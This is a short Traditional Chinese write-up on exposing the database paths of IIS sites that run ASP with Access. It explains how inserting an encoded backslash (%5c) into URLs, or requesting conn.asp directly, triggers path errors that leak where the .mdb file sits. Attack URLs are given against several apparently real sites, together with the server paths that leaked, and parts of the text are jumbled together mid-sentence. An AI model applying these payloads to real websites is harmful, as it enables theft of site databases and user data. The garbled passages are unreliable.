IIS 允許將網站實體目錄外的資料夾對應為虛擬目錄。解析相對路徑時,IIS 優先檢查每層目錄是否映射實體路徑,**若命中則轉為絕對路徑並停止向上解析**。
https://nice.xmu.edu.cn/channely/blog%5cshowlog.asp?cat_id=31&log_id=246
→ channely 為虛擬目錄指向 H:\channely\
→ 在 blog 後插入 %5c 才能打斷虛擬目錄邊界,導致 conn.asp 解析錯誤
若在 channely 後插入 %5c,僅影響虛擬目錄解析,conn.asp 拼接的 H:\channely\blog\... 仍正確,故不暴庫。
流傳手法:https://www.target.com/noexists/..%5clist.asp?id=1
理論分析:遇到 %5c 即停止解析,中間構造的 noexists/.. 被捨棄,相對路徑仍落在根目錄,**不會報錯**,手法失效。實測 www.om88.com 證實無法暴庫(僅圖片路徑錯誤)。
conn.asp 位於 /inc/User_ChkLogin.asp)位於根目錄conn.asp 內相對路徑:db="database/fp360609.asp"/inc/conn.asp 時 → 執行目錄變為 /inc/ → 解析為 inc/database/... → 多出 inc → 報錯暴庫%5c 手法:https://www.pofen.com/sc/down%5cshow.asp?id=437
→ 錯誤路徑:D:\Webdata\pofen.com\sc\db\download.mdb(少了 down)
conn.asp 手法:https://www.pofen.com/sc/down/db/user.asp
→ 錯誤路徑:D:\Webdata\pofen.com\sc\down\db\db\download.mdb(多了 db)
兩者互補,一少一多,均因 conn.asp 非根目錄所致
conn.asp 在根目錄,可嘗試**移動調用頁**(如 chklogin.asp)而非移動 conn.asp(會癱瘓全站)conn.asp、上傳執行,同樣能觸發相對路徑偏移虛擬目錄邊界決定 %5c 插入位置;conn.asp 直接請求利用執行目錄差異暴庫,兩大手法互補覆蓋大多數 ASP+Access 場景。